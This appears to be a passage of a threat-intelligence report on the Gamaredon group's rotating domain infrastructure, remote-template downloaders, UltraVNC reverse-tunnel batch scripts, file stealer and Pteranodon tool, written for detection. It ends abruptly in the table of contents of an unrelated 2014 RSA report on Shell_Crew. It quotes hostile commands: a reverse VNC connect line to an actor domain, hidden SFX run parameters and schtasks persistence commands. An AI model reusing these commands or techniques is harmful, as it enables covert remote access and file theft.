https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/indicators-of-compromise https://unit42.paloaltonetworks.com/atoms/gamaredon/ https://www.paloaltonetworks.com/cortex/cortex-xdr https://www.paloaltonetworks.com/products/secure-the-network/wildfire https://www.paloaltonetworks.com/cortex/autofocus https://www.paloaltonetworks.com/network-security/advanced-url-filtering https://www.paloaltonetworks.com/network-security/dns-security https://www.paloaltonetworks.com/network-security/next-generation-firewall https://unit42.paloaltonetworks.com/tag/gamaredon/ https://unit42.paloaltonetworks.com/tag/APT/ https://twitter.com/Timele9527/status/1118343183971360769 https://blog.talosintelligence.com/2021/02/gamaredonactivities.html https://x.threatbook.cn/v5/article?threatInfoID1417 3/16 Figure 1.
libre4[.
]space recent IP resolutions as of Jan. 27, 2022.
Pivoting to the first IP on the list (194.58.100[.
]17) reveals a cluster of domains rotated and parked on the IP on the exact same day.
4/16 Figure 2.
Domains associated with 194.58.100[.
]17 on Jan. 27, 2022.
Thorough pivoting through all of the domains and IP addresses results in the identification of almost 700 domains.
These are domains that are already publicly attributed to Gamaredon due to use in previous cyber campaigns, mixed with new domains that have not yet been used.
Drawing a delineation between the two then becomes an exercise in tracking the most recent infrastructure.
Focusing on the IP addresses linked to these domains over the last 60 days results in the identification of 136 unique IP addresses interestingly, 131 of these IP addresses are hosted within the autonomous system (AS) 197695 physically located in Russia and operated by the same entity used as the registrar for these domains, reg[.
]ru.
The total number of IPs translates to the introduction of roughly two new IP addresses every day into Gamaredons malicious infrastructure pool.
Monitoring this pool, it appears that the actors are activating new domains, using them for a few days, and then adding the domains to a pool of domains that are rotated across various IP infrastructure.
This shell game approach affords a degree of obfuscation to attempt to hide from cybersecurity researchers.
For researchers, it becomes difficult to correlate specific payloads to domains and to the IP address that the domain resolved to on the precise day of a phishing campaign.
Furthermore, Gamaredons technique provides the actors with a degree of control over who can access malicious files hosted on their infrastructure, as a web pages uniform resource locator (URL) file path embedded in a downloader only works for a finite period of time.
Once the domains are rotated to a new IP address, requests for the URL file paths will result in a 404 file not found error for anyone attempting to study the malware.
Cluster 1 History While focusing on current downloader infrastructure, we were able to trace the longevity of this cluster back to an origin in 2018.
Certain marker domains, such as the aforementioned libre4[.
]space, are still active today and also traced back to March 2019 with apparently consistent ownership.
On the same date range in March 2019, a cluster of domains was observed on 185.158.114[.
]107 with thematically linked naming  several of which are still active in this cluster today.
5/16 Figure 3.
Domain cluster on 185.158.114[.
]107 in March 2019.
Further pivoting back in time and across domains finds an apparent initial domain for this cluster of infrastructure, bitsadmin[.
]space on 195.88.209[.
]136, in December 2018.
Figure 4.
Initial domain bitsadmin[.
]space, December 2018.
We see it clustered here with some dynamic domain name system (DNS) domains.
Dynamic DNS domains were observed in this cluster on later IP addresses as well, though this technique appears to have fallen out of favor, at least in this context, since there are none in this cluster currently active.
Initial Downloaders 6/16 Searching for samples connecting to Gamaredon infrastructure across public and private malware repositories resulted in the identification of 17 samples over the past three months.
The majority of these files were either shared by entities in Ukraine or contained Ukrainian filenames.
Filename Translation .docx Maksim.docx .docx RAZANTSEV IS SUSPICIOUS.docx .docx interrogation protocol.docx .docx TELEGRAM.docx 2_______.docx 2_Memorial_about_processal_rights_and_obligations_of_the_ Victim.docx 2_Porjadok_do_nakazu_111_vid_13.04.2017.docx 2_Procedure_to_order_111_from_13.04.2017.docx .docx conclusion Timoshechkin.docx 2021 ().doc Report on the LCA for June 2021 (Autosaved) .doc .docx Klitschkos conclusion.docx .docx Indictment GERMAN et al.docx 1- 10 .doc support 1-SL 10 months.doc Table 1.
Recently observed downloader filenames.
An analysis of these files found that they all leveraged a remote template injection technique that allows the documents to pull down the malicious code once they are opened.
This allows the attacker to have control over what content is sent back to the victim in an otherwise benign document.
Recent examples of the remote template dot file URLs these documents use include the following: http://bigger96.allow.endanger.hokoldar[.
]ru/[Redacted]/globe/endanger/lovers.cam http://classroom14.nay.sour.reapart[.
]ru/[Redacted]/bid/sour/glitter.kdp http://priest.elitoras[.
]ru/[Redacted]/pretend/pretend/principal.dot http://although.coferto[.
]ru/[Redacted]/amazing.dot http://source68.alternate.vadilops[.
]ru/[Redacted]/clamp/interdependent.cbl Many of the files hosted on the Gamaredon infrastructure are labeled with abstract extensions such as .cam, .cdl, .kdp and others.
We believe this is an intentional effort by the actor to reduce exposure and detection of these files by antivirus and URL scanning services.
Taking a deeper look at the top two, hokoldar[.
]ru and reapart[.
]ru, provides unique insights into two recent phishing campaigns.
Beginning with the first domain, passive DNS data shows that the domain first resolved to an IP address that was shared with other Gamaredon domains on Jan. 4.
Figure 2 above shows that hokoldar[.
]ru continued to share an IP address with libre4[.
]space on Jan. 27, once again associating it with the Gamaredon infrastructure pool.
In that short window, on Jan. 19, we observed a targeted phishing attempt against a Western government entity operating in Ukraine.
In this attempt, rather than emailing the downloader directly to their target, the actors instead leveraged a job search and employment service within Ukraine.
In doing so, the actors searched for an active job posting, uploaded their downloader as a resume and submitted it through the job search platform to a Western government entity.
Given the steps and precision delivery involved in this campaign, it appears this may have been a specific, deliberate attempt by Gamaredon to compromise this Western government organization.
Expanding beyond this recent case, we also discovered public evidence of a Gamaredon campaign targeting the State Migration Service of Ukraine.
On Dec. 1, an email was sent from yana_gurinaukr[.
]net to 6524dmsu[.
]gov.ua.
The subject of the email was NOVEMBER REPORT and attached to the email was a file called Report on the LCA for June 2021(Autosaved).doc.
When opened, this Word document calls out to reapart[.
]ru.
From there, it downloads and then executes a malicious remote Word Document Template file named glitter.kdp.
7/16 Figure 5.
Email sent to 6524dmsu[.
]gov.ua.
CERT Estonia (CERT-EE), a department within the Cyber Security Branch of the Estonian Information System Authority, recently published an article on Gamaredon which covers the content returned from these remote template files.
To summarize their findings on this aspect, the remote template retrieves a VBS script to execute which establishes a persistent command and control (C2) check-in and will retrieve the next payload once the Gamaredon group is ready for the next phase.
In CERT-EEs case, after six hours the infrastructure came back to life again and downloaded a SelF-eXtracting (SFX) archive.
This download of an SFX archive is a hallmark of the Gamaredon group and has been an observed technique for many years to deliver various open-source virtual network computing (VNC) software packages that the group uses for maintaining remote access to victim computers.
The groups current preference appears to be open-source UltraVNC software.
SFX Files and UltraVNC SFX files allow someone to package other files in an archive and then specify what will happen when a user opens the package.
In the case of Gamaredon, they generally keep it simple and bundle together a package containing a simple Batch script and UltraVNC software.
This lightweight VNC server can be preconfigured to initiate a connection back to another system, commonly referred to as a reverse tunnel, allowing attackers to bypass the typical firewall restrictions these reverse connections seemingly are not initiated by the attacker but instead come from inside the network where the victim exists.
To illustrate how this occurs, we will step through one of the SFX files (SHA256: 4e9c8ef5e6391a9b4a705803dc8f2daaa72e3a448abd00fad36d34fe36f53887) that we recently identified.
When building an SFX file one has the option to specify a series of commands that will be executed upon successful extraction of the archive.
In the case of Gamaredon, the majority of SFX files will launch a batch file, which is included in the archive.
In some instances, the actor will shuffle files around within the archive to try to obfuscate what they are, but usually a command line switch can be found, similar to this: InstallUTF-8 InstallPathAPPDATA\\Drivers GUIMode2 SelfDelete1 RunProgramhidcon:34679.cmd This will extract the files to APPDATA\\Drivers and then run the Windows Batch file 34679.cmd in a hidden console.
The use of the hidcon (hidden console) prefix followed by a four-five digit filename with a cmd extension is observed in the majority of our tracked samples during this time period.
The following files were included in this particular archive: SHA256 Filename 695fabf0d0f0750b3d53de361383038030752d07b5fc8d1ba6eb8b3e1e7964fa 34679.cmd d8a01f69840c07ace6ae33e2f76e832c22d4513c07e252b6730b6de51c2e4385 MSRC4Plugin_for_sc.dsm 393475dc090afab9a9ddf04738787199813f3974a22c13cb26f43c781e7b632f QlpxpQpOpDpnpRpC.ini ed13f0195c0cf8fc9905c89915f5b6f704140b36309c2337be86d87a8f5fef6c UltraVNC.ini 304d63fcd859ea71833cf13b8923f74ebe24abf750de9d01b7849b907f24d33b YiIbIbIqIZIiIBI2.jpg 1f1650155bfe9a4eb6b69365fc8a791281f866919202d44646e23e7f2f1d3db9 kqT5TMTETyTJT4TG.jpg https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf 8/16 27285cb2b5bebd5730772b66b33568154cd4228c92913c5ef2e1234747027aa5 owxxxGxzxqxxxExw.jpg 3225058afbdf79b87d39a3be884291d7ba4ed6ec93d1c2010399e11962106d5b rc4.key Table 2.
Files included in the example SFX Archive.
The batch files use randomized alphanumeric strings for the variable names, and  depending on the sample  collect different information or use different domains and filenames however, at the core they each perform one specific function  initiate the reverse VNC connection.
The purpose of this file is to obscure and execute the desired command: start  CD\sysctl.exe -autoreconnect -id: [system media access control (MAC) address] -connect technec[.
]org:8080 Figure 6: Content of 34679.cmd from above example.
In this case, the attacker sets the variable nRwuwCwBwYwbwEwI twice, which we believe is likely due to copy-pasting from previous scripts (well cover this in more detail later).
This variable, along with the next few, will identify the process name the malware will masquerade under, an identifier with which to track the victim, the remote attackers domain to which the connection should be made, the word connect, which is dropped into the VNC command, and then the port, 8080, which the VNC connection will use.
At every turn, the actor tries to blend into normal user traffic to remain under the radar for as long as possible.
After the variables are set, the command line script copies QlpxpQpOpDpnpRpC.ini to the executable name that has been picked for this run and then attempts to kill any legitimate process using the specified name before launching it.
The name for the .ini file is randomized per archive, but almost always turns out to be that of the VNC server itself.
As stated previously, one benefit of this VNC server is that it will use the supplied configuration file (UltraVNC.ini), and  along with the two files rc4.key and MSRC4Plugin_for_sc.dsm  will encrypt the communication to further hide from network detection tools.
Its not yet clear what the three .jpg files shown in Table 2 are used for as they are base64-encoded data that is likely XOR encoded with a long key.
Gamaredon has used this technique in the past, but these are likely staged files for the attacker to decode once they connect to the system.
The following are the SFX launch parameters from a separate file to illustrate how the actor attempts to obfuscate the file names but also that these potentially staged files are not present in all samples.
InstallPathUSERPROFILE\\Contacts GUIMode2 SelfDelete1 RunProgramhidcon:cmd.exe /c copy /y USERPROFILE\Contacts\18820.tmp USERPROFILE\Contacts\MSRC4Plugin_for_sc.dsm RunProgramhidcon:cmd.exe /c copy /y USERPROFILE\Contacts\25028.tmp USERPROFILE\Contacts\rc4.key 9/16 RunProgramhidcon:cmd.exe /c copy /y USERPROFILE\Contacts\24318.tmp USERPROFILE\Contacts\UltraVNC.ini RunProgramhidcon:cmd.exe /c copy /y USERPROFILE\Contacts\25111.tmp USERPROFILE\Contacts\wn.cmd RunProgramhidcon:USERPROFILE\\Contacts\\wn.cmd While investigating these files, we observed what we believe was active development on these .cmd files that helps illuminate the Gamaredon groups processes.
Specifically, on Jan. 14 starting at 01:23 am GMT, we began seeing VirusTotal uploads of a seemingly in-draft .cmd file pointing to the same attacker-controlled VNC server.
Initially, these files were uploaded to VirusTotal via the Tor network and used the process name svchosst over transmission control protocol (TCP)/8080, leveraging the users Windows security identifier (SID) instead of MAC address for the VNC identification.
The SFX files simply had the name 1.exe.
for /f i in (wmic useraccount where nameUSERNAME get sid  find S-1) do set JsVqVzVxVfVqVaVsi set ZGVxVkVIVUVlVgVbtechnec[.
]org set qgSjSdSaSsSiSGS3svchosst set AVlflclclZlPlYlI8080 set djM8MfMRM0M5MBM0connect Three minutes later, we saw the same file uploaded via Tor, but the actor had changed the port to TCP/80 and introduced a bug in the code that prevents it from executing correctly.
Note the positional change of the variables as well.
set djM8MfMRM0M5MBM0onnect set r8JgJJJHJGJmJHJ5RANDOM set ZGVxVkVIVUVlVgVbtechnec[.
]org set qgSjSdSaSsSiSGS3svchosst set AVlflclclZlPlYlI80 The bug is due to the onnect value that is set.
Reviewing how the reverse VNC connection is launched, this value is used in two places: - autorecdjM8MfMRM0M5MBM0 and -djM8MfMRM0M5MBM0.
start 1 CD\qgSjSdSaSsSiSGS3.exe -autorecdjM8MfMRM0M5MBM0 -id:r8JgJJJHJGJmJHJ5 -djM8MfMRM0M5MBM0 ZGVxVkVIVUVlVgVb:80AVlflclclZlPlYlI The second instance doesnt contain the c value needed to correctly spell the word and thus presents an invalid parameter.
After another three minutes, the actor uploaded an SFX file called 2.exe, simply containing test.cmd with the word test in the content.
Again, minutes later, we saw 2.exe uploaded with the test.cmd, but this time it contained the initial part of the .cmd file.
However, the actor had forgotten to include the VNC connect string.
This is where it gets interesting, though  about 15 minutes later, we saw the familiar 2.exe upload with test.cmd, but this time it was being uploaded directly by a user in Russia from a public IP address.
We continued to observe this pattern of uploads every few minutes, where each was a slight iteration of the one before.
The person uploading the files appeared to be rapidly  and manually  modifying the .cmd file to restore functionality (though the actor was unsuccessful in this series of uploads).
Several domains and IP addresses were hard-coded in VNC samples that are not related to any of domain clusters 1-3 (documented in our full IoC list).
SSL Pivot to Additional Infrastructure and Samples While conducting historical research on the infrastructure in cluster 1, we discovered a self-signed certificate associated with cluster 1 IP address 92.242.62[.
]96: Serial: 373890427866944398020500009522040110750114845760 SHA1: 62478d7653e3f5ce79effaf7e69c9cf3c28edf0c Issued: 2021-01-27 Expires: 2031-01-25 Common name: ip45-159-200-109.crelcom[.
]ru Although the IP Address WHOIS record for Crelcom LLC is registered to an address in Moscow, the technical admin listed for the netblock containing the IP address is registered to an address in Simferopol, Crimea.
We further trace the apparent origins of Crelcom back to Simferopol, Crimea, as well.
This certificate relates to 79 IP addresses: 10/16 The common-name IP address - no Gamaredon domains One IP address links to cluster 1 above (92.242.62[.
]96) 76 IP addresses link to another distinct collection of domains  cluster 2 1 IP address led us to another distinct cluster, cluster 3 (194.67.116[.
]67) We find almost no overlap of IP addresses between these separate clusters.
File Stealer (Cluster 2) Of the 76 IP addresses we associate with cluster 2, 70 of them have confirmed links to C2 domains associated with a variant of Gamaredons file stealer tool.
Within the last three months, we have identified 23 samples of this malware, twelve of which appear to have been shared by entities in Ukraine.
The C2 domains in those samples include: Domain First Seen jolotras[.
]ru 12/16/2021 moolin[.
]ru 10/11/2021 naniga[.
]ru 9/2/2021 nonimak[.
]ru 9/2/2021 bokuwai[.
]ru 9/2/2021 krashand[.
]ru 6/17/2021 gorigan[.
]ru 5/25/2021 Table 3.
Recent file stealer C2 domains.
As you can see, some of these domains were established months ago, yet despite their age, they continue to enjoy benign reputations.
For example, only five out of 93 vendors consider the domain krashand[.
]ru to be malicious on VirusTotal.
Figure 7.
VirusTotal results for krashand[.
]ru from Jan. 27, 2022.
Reviewing passive DNS (pDNS) logs for these domains quickly reveals a long list of subdomains associated with each.
Some of the subdomains follow a standardized pattern.
For example, several of the domains use the first few letters of the alphabet (a, b, c) in a repeating combination.
Conversely, jolotras[.
]ru and moolin[.
]ru use randomized alphanumeric characters.
We believe that these subdomains are dynamically generated by the file stealer when it first establishes a connection with its C2 server.
As such, counting the number of subdomains associated with a particular C2 domain provides a rough gauge of the number of entities that have attempted to connect to the server.
However, it is important to also note that the number of pDNS entries can also be skewed by researchers and cybersecurity products that may be evaluating the malicious samples associated with a particular C2 domain.
Subdomains 637753576301692900[.
]jolotras.ru 637753623005957947[.]jolotras[.
]ru 637755024217842817.jolotras[.
]ru a.nonimak[.
]ru aaaa.nonimak[.
]ru aaaaa.nonimak[.
]ru 11/16 aaaaaa.nonimak[.
]ru 0enhzs.moolin[.
]ru 0ivrlzyk.moolin[.
]ru 0nxfri.moolin[.
]ru Table 4.
Subdomain naming for file stealer infrastructure.
In mapping these domains to their corresponding C2 infrastructure, we discovered that the domains overlap in terms of the IP addresses they point to.
This allowed us to identify the following active infrastructure: IP Address First Seen 194.58.92[.
]102 1/14/2022 37.140.199[.
]20 1/10/2022 194.67.109[.
]164 12/16/2021 89.108.98[.
]125 12/26/2021 185.46.10[.
]143 12/15/2021 89.108.64[.
]88 10/29/2021 Table 5.
Recent file stealer IP infrastructure.
Of note, all of the file stealer infrastructure appears to be hosted within AS197695, the same AS highlighted earlier.
Historically, we have seen the C2 domains point to various autonomous systems (AS) globally.
However, as of early November, it appears that the actors have consolidated all of their file stealer infrastructure within Russian ASs  predominantly this single AS.
In mapping the patterns involved in the use of this infrastructure, we found that the domains are rotated across IP addresses in a manner similar to the downloader infrastructure discussed previously.
A malicious domain may point to one of the C2 server IP addresses today while pointing to a different address tomorrow.
This adds a degree of complexity and obfuscation that makes it challenging for network defenders to identify and remove the malware from infected networks.
The discovery of a C2 domain in network logs thus requires defenders to search through their network traffic for the full collection of IP addresses that the malicious domain has resolved to over time.
As an example, moolin[.
]ru has pointed to 11 IP addresses since early October, rotating to a new IP every few days.
IP Address Country AS First Seen Last Seen 194.67.109[.
]164 RU 197695 2021-12-28 2022-01-27 185.46.10[.
]143 RU 197695 2021-12-16 2021-12-26 212.109.199[.
]204 RU 29182 2021-12-15 2021-12-15 80.78.241[.
]253 RU 197695 2021-11-19 2021-12-14 89.108.78[.
]82 RU 197695 2021-11-16 2021-11-18 194.180.174[.
]46 MD 39798 2021-11-15 2021-11-15 70.34.198[.
]226 SE 20473 2021-10-14 2021-10-30 104.238.189[.
]186 FR 20473 2021-10-13 2021-10-14 95.179.221[.
]147 FR 20473 2021-10-13 2021-10-13 176.118.165[.
]76 RU 43830 2021-10-12 2021-10-13 Table 6.
Recent file stealer IP infrastructure Shifting focus to the malware itself, file stealer samples connect to their C2 infrastructure in a unique manner.
Rather than connecting directly to a C2 domain, the malware performs a DNS lookup to convert the domain to an IP address.
Once complete, it establishes an HTTPS connection directly to the IP address.
For example: 12/16 C2 Domain: moolin[.
]ru C2 IP Address: 194.67.109[.
]164 C2 Comms: https://194.67.109[.
]164/zB6OZj6F0zYfSQ This technique of creating distance between the domain and the physical C2 infrastructure seems to be an attempt to bypass URL filtering: 1.
The domain itself is only used in an initial DNS request to resolve the C2 server IP address  no actual connection is attempted using the domain name.
2.
Identification and blocking of a domain doesnt impact existing compromises as the malware will continue to communicate directly with the C2 server using the IP address  even if the domain is subsequently deleted or rotated to a new IP  as long as the malware continues to run.
One recent file stealer sample we analyzed (SHA256: f211e0eb49990edbb5de2bcf2f573ea6a0b6f3549e772fd16bf7cc214d924824) was found to be a .NET binary that had been obfuscated to make analysis more difficult.
The first thing that jumps out when reviewing these files are their sizes.
This particular file clocks in at over 136 MB in size, but we observed files going all the way up to 200 MB and beyond.
It is possible that this is an attempt to circumvent automated sandbox analysis, which usually avoids scanning such large files.
It may also simply be a byproduct of the obfuscation tools being used.
Whatever the reason for the large file size, it comes at a price to the attacker, as executables of this size stick out upon review.
Transmitting a file this large to a victim becomes a much more challenging task.
The obfuscation within this sample is relatively simple and mainly relies upon defining arrays and concatenating strings of single characters in high volume over hundreds of lines to try to hide the construction of the actual string within the noise.
Figure 8.
Building the string IconsCache.db in the text variable.
It begins by checking for the existence of the Mutex Global\lCHBaUZcohRgQcOfdIFaf, which, if present, implies the malware is already running and will cause the file stealer to exit.
Next, it will create the folder C:\Users\USER\AppData\Local\TEMP\ModeAuto\icons, wherein screenshots that are taken every minute will be stored and then transmitted to the C2 server with the name format YYYY-MM- DD-HH-MM.jpg.
To identify the IP address of the C2 server, the file stealer will generate a random string of alphanumeric characters between eight and 23 characters long, such as 9lGo990cNmjxzWrDykSJbV.jolotras[.
]ru.
As mentioned previously, once the file stealer retrieves the IP address for this domain, it will no longer use the domain name.
Instead, all communications will be direct with the IP address.
During execution, it will search all fixed and network drives attached to the computer for the following extensions: .doc .docx .xls .rtf 13/16 .odt .txt .jpg .pdf .ps1 When it has a list of files on the system, it begins to create a string for each that contains the path of the file, the size of the file and the last time the file was written to, similar to the example below: C:\cygwin\usr\share\doc\bzip2\manual.pdf2569055/21/2011 3:17:02 PM The file stealer takes this string and generates an MD5 hash of it, resulting in the following output for this example: FB-17-F1-34-F4-22-9B-B4-49-0F-6E-3E-45-E3-C9-FA Next, it removes the hyphens from the hash and converts all uppercase letters to lowercase.
These MD5 hashes are then saved into the file C:\Users\USER\AppData\Local\IconsCache.db.
The naming of this file is another attempt to hide in plain sight next to the legitimate IconCache.db.
Figure 9.
IconsCache.db contents.
The malware uses this database to track unique files.
The malware will then generate a URL path with alphanumeric characters for its C2 communication, using the DNS-IP technique illustrated previously with the moolin[.
]ru domain example: https://194.67.109[.
]164/zB6OZj6F0zYfSQ Below is the full list of domains currently resolving to cluster 2 IP addresses: Domain Registered jolotras[.
]ru 12/16/2021 moolin[.
]ru 10/11/2021 bokuwai[.
]ru 9/2/2021 naniga[.
]ru 9/2/2021 nonimak[.
]ru 9/2/2021 bilargo[.
]ru 7/23/2021 krashand[.
]ru 6/17/2021 firtabo[.
]ru 5/28/2021 14/16 gorigan[.
]ru 5/25/2021 firasto[.
]ru 5/21/2021 myces[.
]ru 2/24/2021 teroba[.
]ru 2/24/2021 bacilluse[.
]ru 2/15/2021 circulas[.
]ru 2/15/2021 megatos[.
]ru 2/15/2021 phymateus[.
]ru 2/15/2021 cerambycidae[.
]ru 1/22/2021 coleopteras[.
]ru 1/22/2021 danainae[.
]ru 1/22/2021 Table 7.
All cluster 2 domains.
Pteranodon (Cluster 3) The single remaining IP address related to the SSL certificate was not related to either cluster 1 or cluster 2, and instead led us to a third, distinct cluster of domains.
This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon.
Gamaredon has used, maintained and updated development of this code for years.
Its code contains anti-detection functions specifically designed to identify sandbox environments in order to thwart antivirus detection attempts.
It is capable of downloading and executing files, capturing screenshots and executing arbitrary commands on compromised systems.
Over the last three months, we have identified 33 samples of Pteranodon.
These samples are commonly named 7ZSfxMod_x86.exe.
Pivoting across this cluster, we identified the following C2 infrastructure: Domain Registered takak[.
]ru 9/18/2021 rimien[.
]ru 9/18/2021 maizuko[.
]ru 9/2/2021 iruto[.
]ru 9/2/2021 gloritapa[.
]ru 8/5/2021 gortisir[.
]ru 8/5/2021 gortomalo[.
]ru 8/5/2021 langosta[.
]ru 6/25/2021 malgaloda[.
]ru 6/8/2021 Table 8.
Cluster 3 domains.
We again observe domain reputation aging, as seen in cluster 2.
An interesting naming pattern is seen in cluster 3  also seen in some cluster 1 host and subdomain names.
We see these actors using English words, seemingly grouped by the first two or three letters.
For example: deep-rooted.gloritapa[.
]ru deep-sinking.gloritapa[.
]ru deepwaterman.gloritapa[.
]ru deepnesses.gloritapa[.
]ru deep-lunged.gloritapa[.
]ru deerfood.gortomalo[.
]ru deerbrook.gortomalo[.
]ru 15/16 despite.gortisir[.
]ru des.gortisir[.
]ru desire.gortisir[.
]ru This pattern differs from those of cluster 2, but has been observed on some cluster 1 (dropper) domains, for example: alley81.salts.kolorato[.
]ru allied.striman[.
]ru allowance.hazari[.
]ru allowance.telefar[.
]ru ally.midiatr[.
]ru allocate54.previously.bilorotka[.
]ru alluded6.perfect.bilorotka[.
]ru already67.perfection.zanulor[.
]ru already8.perfection.zanulor[.
]ru This pattern is even carried into HTTP POSTs, files and directories created by associated samples: Example 1: SHA256: 74cb6c1c644972298471bff286c310e48f6b35c88b5908dbddfa163c85debdee deerflys.gortomalo[.
]ru C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 11 /tn deepmost /tr wscript.exe C:\Users\Public\\deep- naked\deepmost.fly counteract /create //b /criminal //e:VBScript /cracker counteract  /F POST /index.eef/deep-water613 Example 2: SHA256: ffb6d57d789d418ff1beb56111cc167276402a0059872236fa4d46bdfe1c0a13 deer-neck.gortomalo[.
]ru C:\Windows\System32\schtasks.exe /CREATE /sc minute /mo 13 /tn deep-worn /tr wscript.exe C:\Users\Public\\deerberry\deep- worn.tmp crumb /cupboard //b /cripple //e:VBScript /curse crumb  /F POST /cache.jar/deerkill523 Because we only see this with some domains, this may be a technique employed by a small group of actors or teams.
It suggests a possible link between the cluster 3 samples and those from cluster 1 employing a similar naming system.
In contrast, we do not observe cluster 2s large-number or random-string naming technique employed in any cluster 1 domains.
Conclusion Gamaredon has been targeting Ukrainian victims for almost a decade.
As international tensions surrounding Ukraine remain unresolved, Gamaredons operations are likely to continue to focus on Russian interests in the region.
This blog serves to highlight the importance of research into adversary infrastructure and malware, as well as community collaboration, in order to detect and defend against nation- state cyberthreats.
While we have mapped out three large clusters of currently active Gamaredon infrastructure, we believe there is more that remains undiscovered.
Unit 42 remains vigilant in monitoring the evolving situation in Ukraine and continues to actively hunt for indicators to put protections in place to defend our customers anywhere in the world.
We encourage all organizations to leverage this research to hunt for and defend against this threat.
Protections and Mitigations The best defense against this evolving threat group is a security posture that favors prevention.
We recommend that organizations implement the following: Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat group.
Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs identified above.
Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.
]ru).
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: 31.20.299.3130, APAC: 65.6983.8730, or Japan: 81.50.1790.0200.
http://start.paloaltonetworks.com/contact-unit42.html 16/16 For Palo Alto Networks customers, our products and services provide the following coverage associated with this campaign: Cortex XDR protects endpoints from the malware techniques described in this blog.
WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as malicious.
Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this group as malicious.
Users of AutoFocus contextual threat intelligence service can view malware associated with these attacks using the Gamaredon Group tag.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.
CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
Learn more about the Cyber Threat Alliance.
Indicators of Compromise A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub.
Additional IoCs shared in a Feb. 16 update to this report are also available.
Additional Resources The Gamaredon Group Toolset Evolution  Unit 42, Palo Alto Networks Threat Brief: Ongoing Russia and Ukraine Cyber Conflict  Unit 42, Palo Alto Networks Technical Report on Armageddon / Gamaredon  Security Service of Ukraine Tale of Gamaredon Infection  CERT-EE / Estonian Information System Authority Updated Feb. 16, 2021, at 6:30 a.m. PT.
Get updates from Palo Alto Networks Sign up to receive the latest news, cyber threat intelligence and research from us https://www.paloaltonetworks.com/cortex/cortex-xdr https://www.paloaltonetworks.com/products/secure-the-network/wildfire https://www.paloaltonetworks.com/network-security/advanced-url-filtering https://www.paloaltonetworks.com/network-security/dns-security https://www.paloaltonetworks.com/cortex/autofocus https://autofocus.paloaltonetworks.com//tag/Unit42.GamaredonGroup http://www.cyberthreatalliance.org/ https://github.com/pan-unit42/iocs/blob/master/Gamaredon/Gamaredon_IoCs_JAN2022.txt https://github.com/pan-unit42/iocs/blob/master/Gamaredon/2022_02_Gamaredon_UPDATE.txt https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/ https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/ https://ssu.gov.ua/uploads/files/DKIB/D0A2D0B5D185D0BDD196D187D0BDD0B8D0B920D0B7D0B2D196D18220D0B4D196D18FD0BBD18CD0BDD0BED181D182D19620D090D180D0BCD0B0D0B3D0B5D0B4D0BED0BD.pdf https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf
RSA Incident Response incident response RSA Incident Response: Emerging Threat Profile Shell_Crew January 2014 RSA Emerging Threat Profile: Shell_Crew Table of Contents Table of Contents ....................................................................................................................................................2 Report Overview ............................................................................................................................... 5 Intrusion Vector ................................................................................................................................. 6 Intrusion Overview ...........................................................................................................................................6 Intrusion Details ...............................................................................................................................................7 Entrenchment Techniques ............................................................................................................... 9 Installation of Web shells ....................................................................................................................................... 9 Registering DLLs with Internet Information Services (IIS) .................................................................................... 10 Modifying the System.
Web.dll file ..................................................................................................................... 11 Trojan.
Derusbi ...................................................................................................................................................... 13 Sethc RDP backdoor ............................................................................................................................................ 13 Malicious Files and Secondary Tools ............................................................................................ 15 Malicious Files and Secondary Tools Hash List .................................................................................................. 15 Malicious Files  Technical Analysis ................................................................................................................. 17 Trojan.
Derusbi ...................................................................................................................................................... 17 Trojan.
Derusbi Server Variant .............................................................................................................................. 24 Secondary Tools  Technical Analysis ............................................................................................................... 28 Notepad.exe ......................................................................................................................................................... 28 Credential Logger .................................................................................................................................................. 31 Detection, Mitigation, and Remediation .................................................................................... 33 General Forensic Footprints ................................................................................................................................. 33 Security Analytics Integration ............................................................................................................................... 33 ECAT Integration ................................................................................................................................................... 34 Yara Signatures ..................................................................................................................................................... 35 Hash Set, IPs, Domains ......................................................................................................................................... 35 Conclusion ........................................................................................................................................ 36 Appendix 1  Trojan.
Derusbi Variants ......................................................................................... 37 Appendix 2  Trojan.
Notepad Illustration .................................................................................. 41 Digital Appendix - Details .............................................................................................................. 42 RSA Incident Response Page 3 RSA Emerging Threat Profile: Shell_Crew Table of Figures Figure 1: Anatomy of Web Application Penetration ........................................................................................................................... 6 Figure 2: Web server log entry ........................................................................................................................................................... 7 Figure 3: Example content of a password.properties file ................................................................................................................... 7 Figure 4: ColdFusion task that downloads Web shell ......................................................................................................................... 7 Figure 5: Log entry showing the use of x.cfm by IP 125.141.233.19 ............................................................................................... 8 Figure 6: Command executed via Web shell ...................................................................................................................................... 8 Figure 7: Example of a simple Shell_Crew Web shell ......................................................................................................................... 9 Figure 8: ColdFusion Web shell interface example ........................................................................................................................... 10 Figure 9: Command used to register a DLL with IIS .......................................................................................................................... 10 Figure 10: POST request on IIS registered DLL .................................................................................................................................. 11 Figure 11: POST request to a non-existent Web page ...................................................................................................................... 11 Figure 12: Modified content of PagehandlerFactory.cs ................................................................................................................... 11 Figure 13: Content of default_aspx.cs .............................................................................................................................................. 12 Figure 14: POST request on nonexistent webpage ........................................................................................................................... 12 Figure 15: Decoded base64 text from the POST request ................................................................................................................. 12 Figure 16: The script was further decoded to reveal the contents .................................................................................................. 13 Figure 17: Reply from infected Web server ...................................................................................................................................... 13 Figure 18: Registry modification to invoke sethc.exe debugging ..................................................................................................... 14 Figure 19: RDP backdoor example .................................................................................................................................................... 14 Figure 20: Details of the file msressvkx.ttf - a Trojan.
